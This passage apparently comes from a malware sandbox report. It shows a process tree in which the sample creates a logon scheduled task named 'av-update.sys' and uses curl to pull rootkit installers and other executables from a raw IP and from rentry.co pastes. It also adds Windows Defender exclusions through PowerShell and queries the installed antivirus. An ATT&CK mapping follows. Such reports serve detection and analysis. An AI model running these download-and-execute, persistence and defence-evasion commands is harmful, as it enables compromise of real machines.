      4⤵
      PID:4300
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /sc onlogon /tn "av-update.sys" /tr "C:\Users\Admin\AppData\Local\Temp\1249163947-1257661328-68222221-1259694424.exe" /rl HIGHEST /f
        5⤵
        Creates scheduled task(s)
        
        PID:4320
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c curl -s "https://rentry.co/hackeroopsecstubblucky/raw"
      4⤵
      PID:3356
    - - C:\Windows\system32\curl.exe
        
        curl -s "https://rentry.co/hackeroopsecstubblucky/raw"
        5⤵
        
        PID:1000
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c curl -s "https://rentry.co/rootkitinstalllinklol/raw"
      4⤵
      PID:5052
    - - C:\Windows\system32\curl.exe
        
        curl -s "https://rentry.co/rootkitinstalllinklol/raw"
        5⤵
        
        PID:3992
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c curl -s "https://rentry.co/rootkituninstalllinklol/raw"
      4⤵
      PID:3540
    - - C:\Windows\system32\curl.exe
        
        curl -s "https://rentry.co/rootkituninstalllinklol/raw"
        5⤵
        
        PID:4416
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName
      4⤵
      PID:1980
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3912
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C powershell -Command "$filePath = 'C:\Users\Admin\AppData\Local\Temp\1349690590-1120444748-16763777-1398643380.tmp'; Add-MpPreference -ExclusionPath $filePath"
      4⤵
      PID:2920
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filePath = 'C:\Users\Admin\AppData\Local\Temp\1349690590-1120444748-16763777-1398643380.tmp'; Add-MpPreference -ExclusionPath $filePath"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4920
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c curl http://104.254.246.35/files/UninstallRootkit.exe -o C:\Users\Admin\AppData\Local\Temp\1349690590-1120444748-16763777-1398643380.tmp --silent
      4⤵
      PID:4684
    - - C:\Windows\system32\curl.exe
        
        curl http://104.254.246.35/files/UninstallRootkit.exe -o C:\Users\Admin\AppData\Local\Temp\1349690590-1120444748-16763777-1398643380.tmp --silent
        5⤵
        
        PID:1984
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C powershell -Command "$filePath = 'C:\Users\Admin\AppData\Local\Temp\$77-1271572685-1351225358-23125228-1364969821.tmp'; Add-MpPreference -ExclusionPath $filePath"
      4⤵
      PID:1208
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filePath = 'C:\Users\Admin\AppData\Local\Temp\$77-1271572685-1351225358-23125228-1364969821.tmp'; Add-MpPreference -ExclusionPath $filePath"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3680
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c curl http://104.254.246.35/files/Lucky.exe -o C:\Users\Admin\AppData\Local\Temp\$77-1271572685-1351225358-23125228-1364969821.tmp --silent
      4⤵
      PID:2364
    - - C:\Windows\system32\curl.exe
        
        curl http://104.254.246.35/files/Lucky.exe -o C:\Users\Admin\AppData\Local\Temp\$77-1271572685-1351225358-23125228-1364969821.tmp --silent
        5⤵
        
        PID:3960
  - - C:\Users\Admin\AppData\Local\Temp\$77-1271572685-1351225358-23125228-1364969821.tmp
      C:\Users\Admin\AppData\Local\Temp\$77-1271572685-1351225358-23125228-1364969821.tmp
      4⤵
      Executes dropped EXE
      PID:2500
    - - C:\Users\Admin\AppData\Local\Temp\$77-1271572685-1351225358-23125228-1364969821.tmp
        
        C:\Users\Admin\AppData\Local\Temp\$77-1271572685-1351225358-23125228-1364969821.tmp
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2328
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C powershell -Command "$filePath = 'C:\Users\Admin\AppData\Local\Temp\$77-1123589928-1178490630-22071612-1380636793.tmp'; Add-MpPreference -ExclusionPath $filePath"
      4⤵
      PID:3416
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filePath = 'C:\Users\Admin\AppData\Local\Temp\$77-1123589928-1178490630-22071612-1380636793.tmp'; Add-MpPreference -ExclusionPath $filePath"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2240
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c curl http://104.254.246.35/files/RootkitInstall.exe -o C:\Users\Admin\AppData\Local\Temp\$77-1123589928-1178490630-22071612-1380636793.tmp --silent
      4⤵
      PID:548
    - - C:\Windows\system32\curl.exe
        
        curl http://104.254.246.35/files/RootkitInstall.exe -o C:\Users\Admin\AppData\Local\Temp\$77-1123589928-1178490630-22071612-1380636793.tmp --silent
        5⤵
        
        PID:3408
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName
      4⤵
      PID:5232
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName
        5⤵
        
        PID:5248

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2788

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1356

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

Persistence

Scheduled Task/Job

Privilege Escalation

Scheduled Task/Job

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

System Information Discovery